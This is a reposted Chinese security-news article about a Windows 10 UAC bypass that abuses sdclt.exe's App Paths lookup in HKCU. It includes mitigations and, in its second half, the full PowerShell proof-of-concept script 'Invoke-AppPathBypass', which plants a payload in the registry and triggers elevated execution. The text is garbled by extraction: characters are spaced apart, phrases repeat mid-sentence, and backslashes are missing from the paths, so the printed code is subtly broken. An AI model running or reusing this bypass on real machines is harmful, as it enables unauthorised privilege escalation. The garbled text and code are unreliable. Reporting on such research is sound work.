搜索

[3652] 2017-03-22_研究人员利用应用程序路径绕过Windows10中的UAC机制

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-16
2017-03-22_研究人员利用应用程序路径绕过Windows10中的UAC机制 研 究 人 员 利 用 应 用 程 序 路 径 绕 过 W i n d o w s   1 0 中 的 U A C 机 制 原 创   E 安 全   E 安 全   2 0 1 7 - 0 3 - 2 2 E 安 全 安 全 3 月 月 2 2 日 讯 日 讯   安 全 专 家 安 全 专 家 M a t t   N e l s o n 已 经 设 计 出 一 种 最 新 方 法 ， 能 够 利 用 应 用 程 序 路 径 （ 已 经 设 计 出 一 种 最 新 方 法 ， 能 够 利 用 应 用 程 序 路 径 （ A p p   P a t h s ） 顺 利 绕 过 ） 顺 利 绕 过 W i n d o w s   1 0 系 统 上 的 用 户 帐 户 控 制 （ 简 称 系 统 上 的 用 户 帐 户 控 制 （ 简 称 U A C ） 机 制 。 ） 机 制 。 这 位 研 究 人 员 详 细 介 绍 了 一 种 与 此 前 方 案 完 全 不 同 的 旁 路 技 术 ， 项 此 项 新 方 法 “ 不 依 赖 于 I F i l e O p e r a t i o n / D L L 劫 持 机 制 ” 。 N e l s o n 在 他 发 表 的 一 篇 博 文 中 表 示 ， “ 我 之 前 曾 在 博 文 中 提 到 过 两 项 其 它 旁 路 技 术 ， 而 本 篇 文 章 则 着 重 介 绍 一 种 不 依 赖 于 I F i l e O p e r a t i o n / E L L 劫 持 的 替 代 性 方 法 。 这 项 技 术 适 用 于 W i n d o w s   1 0   b u i l d   1 5 0 3 1 ， 其 中 绝 大 部 分 已 经 公 布 的 旁 路 漏 洞 皆 已 得 到 修 复 。 ” 这 位 专 家 解 释 称 ， 微 软 的 这 款 操 作 系 统 当 中 包 含 几 个 签 名 二 进 制 文 件 ， 且 可 通 过 清 单 实 现 自 动 权 限 提 升 。 N e l s o n 对 其 进 行 了 分 析 ， 并 最 终 将 着 眼 点 集 中 在 s d c l t . e x e 身 上 — — 此 文 件 与 W i n d o w s 中 的 备 份 与 恢 复 工 具 有 所 关 联 。 他 发 现 s d c l t . e x e 的 这 一 自 动 权 限 提 升 特 性 皆 适 用 于 W i n d o w s   1 0 版 本 。 此 s d c l t . e x e 文 件 会 启 动 c o n t r o l . e x e 以 在 高 完 整 性 上 下 文 中 打 开 一 个 控 制 面 板 条 目 ， 该 进 程 通 过 在 H K E Y _ C U R R E N T _ U S E R   配 置 单 元 中 查 询 其 A p p   P a t h 键 的 方 式 获 取 指 向 c o n t r o l . e x e 路 径 。 N e l s o n 解 释 称 ： “ 在 对 执 行 过 程 进 行 重 新 观 察 后 ， 我 发 现 s d c l t . e x e 会 立 足 H K E Y _ C U R R E N T _ U S E R   h i v e 配 置 单 元 之 内 查 询 c o n t r o l . e x e 的 A p p   P a t h 键 。 ” “ 立 足 高 完 整 性 进 程 调 用 H K E Y _ C U R R E N T _ U S E R （ 或 者 简 称 H K C U ） 的 过 程 非 常 有 趣 。 其 通 常 意 味 着 将 有 一 个 经 过 权 限 提 升 的 进 程 同 某 个 可 由 中 等 完 整 性 进 程 进 行 篡 改 的 注 册 表 位 置 进 行 交 互 ， ”
如 此 一 来 ， 攻 击 者 即 可 修 改 这 项 由 s d c l t . e x e 查 询 进 行 检 索 的 键 ， 并 管 理 c m d . e x e 以 返 回 查 询 结 果 。 这 种 方 法 不 可 配 合 参 考 使 用 。 因 此 在 实 际 攻 击 当 中 ， 恶 意 人 士 需 要 将 该 恶 意 载 荷 加 载 至 磁 盘 之 上 。 N e l s o n 进 一 步 补 充 称 ， “ 如 果 大 家 尝 试 为 该 二 进 制 文 件 添 加 任 何 参 数 （ 例 如 C : W i n d o w s S y s t e m 3 2 c m d . e x e   / c   c a l c . e x e ） ， 其 将 把 整 条 字 符 串 解 释 为 S h e l l E x e c u t e I n f o 结 构 的 I p F i l e 值 ， 而 后 将 其 传 递 给 S h e l l E x e c u t e E x 。 由 于 此 项 值 并 不 存 在 ， 所 以 操 作 无 法 执 行 。 ” 这 位 专 家 还 发 布 了 一 套 概 念 验 证 脚 本 以 演 示 此 方 法 ， 并 解 释 称 大 家 可 以 通 过 将 U A C 级 别 设 置 为 “ 始 终 通 知 ” 或 者 立 足 本 地 管 理 员 组 内 对 当 前 用 户 加 以 删 除 的 方 式 防 止 此 类 攻 击 。 附 P o C 脚 本 ： f u n c t i o n   I n v o k e - A p p P a t h B y p a s s {         [ C m d l e t B i n d i n g ( S u p p o r t s S h o u l d P r o c e s s   =   $ T r u e ,   C o n f i r m I m p a c t   =   ' M e d i u m ' ) ]         P a r a m   (                 [ P a r a m e t e r ( M a n d a t o r y   =   $ T r u e ) ]                 [ V a l i d a t e N o t N u l l O r E m p t y ( ) ]                 [ S t r i n g ]                 $ P a y l o a d ,                 [ S w i t c h ]                 $ F o r c e         )         $ C o n s e n t P r o m p t   =   ( G e t - I t e m P r o p e r t y   H K L M : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s S y s t e m ) . C o n s e n t P r o m p t B e h a v i o r A d m i n         $ S e c u r e D e s k t o p P r o m p t   =   ( G e t - I t e m P r o p e r t y   H K L M : S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s S y s t e m ) . P r o m p t O n S e c u r e D e s k t o p         i f ( $ C o n s e n t P r o m p t   - E q   2   - A n d   $ S e c u r e D e s k t o p P r o m p t   - E q   1 ) {                 " U A C   i s   s e t   t o   ' A l w a y s   N o t i f y ' .   T h i s   m o d u l e   d o e s   n o t   b y p a s s   t h i s   s e t t i n g . "                 e x i t         }         e l s e {
                # B e g i n   E x e c u t i o n                 $ A p p P a t h   =   " H K C U : S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n A p p   P a t h s c o n t r o l . e x e "                 i f   ( $ F o r c e   - o r   ( ( G e t - I t e m P r o p e r t y   - P a t h   $ A p p P a t h   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e )   - e q   $ n u l l ) ) {                         N e w - I t e m   $ A p p P a t h   - F o r c e   |                                 N e w - I t e m P r o p e r t y   - N a m e   ' ( d e f a u l t ) '   - V a l u e   $ P a y l o a d   - P r o p e r t y T y p e   s t r i n g   - F o r c e   |   O u t - N u l l                 } e l s e {                         W r i t e - W a r n i n g   " K e y   a l r e a d y   e x i s t s ,   c o n s i d e r   u s i n g   - F o r c e "                         e x i t                 }                 i f   ( T e s t - P a t h   $ A p p P a t h )   {                         W r i t e - V e r b o s e   " C r e a t e d   r e g i s t r y   e n t r i e s   f o r   c o n t r o l . e x e   A p p   P a t h "                 } e l s e {                         W r i t e - W a r n i n g   " F a i l e d   t o   c r e a t e   r e g i s t r y   k e y ,   e x i t i n g "                         e x i t                 }                 $ s d c l t P a t h   =   J o i n - P a t h   - P a t h   ( [ E n v i r o n m e n t ] : : G e t F o l d e r P a t h ( ' S y s t e m ' ) )   - C h i l d P a t h   ' s d c l t . e x e '                 i f   ( $ P S C m d l e t . S h o u l d P r o c e s s ( $ s d c l t P a t h ,   ' S t a r t   p r o c e s s ' ) )   {                         $ P r o c e s s   =   S t a r t - P r o c e s s   - F i l e P a t h   $ s d c l t P a t h     - P a s s T h r u                         W r i t e - V e r b o s e   " S t a r t e d   s d c l t . e x e "                 }                 # S l e e p   5   s e c o n d s                   W r i t e - V e r b o s e   " S l e e p i n g   5   s e c o n d s   t o   t r i g g e r   p a y l o a d "                 i f   ( - n o t   $ P S B o u n d P a r a m e t e r s [ ' W h a t I f ' ] )   {                         S t a r t - S l e e p   - S e c o n d s   5                 }                 i f   ( T e s t - P a t h   $ A p p P a t h )   {                         # R e m o v e   t h e   r e g i s t r y   e n t r y                         R e m o v e - I t e m   $ A p p P a t h   - R e c u r s e   - F o r c e                         W r i t e - V e r b o s e   " R e m o v e d   r e g i s t r y   e n t r i e s "                 }                 i f ( G e t - P r o c e s s   - I d   $ P r o c e s s . I d   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e ) {                         S t o p - P r o c e s s   - I d   $ P r o c e s s . I d                         W r i t e - V e r b o s e   " K i l l e d   r u n n i n g   s d c l t   p r o c e s s "                 }         } } E 安 全 注 ： 本 文 系 安 全 注 ： 本 文 系 E 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 安 全 独 家 编 译 报 道 ， 转 载 请 联 系 授 权 ， 并 保 留 出 处 与 链 接 ， 不 得 删 减 内 容 。 联 系 方 式 ： ①   微 信 号 z h u - g e l i a n g   ② 邮 箱 e a p p @ e a s y a q . c o m @ E 安 全 ， 最 专 业 的 前 沿 网 络 安 全 媒 体 和 产 业 服 务 平 台 ， 每 日 提 供 优 质 全 球 网 络 安 全 资 讯 与 深 度 思 考 ， 欢 迎 关 注 微 信 公 众 号 「 E 安 全 」
（ E A Q a p p ） ， 或 登 E 安 全 门 户 网 站 w w w . e a s y a q . c o m   ,   查 看 更 多 精 彩 内 容 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理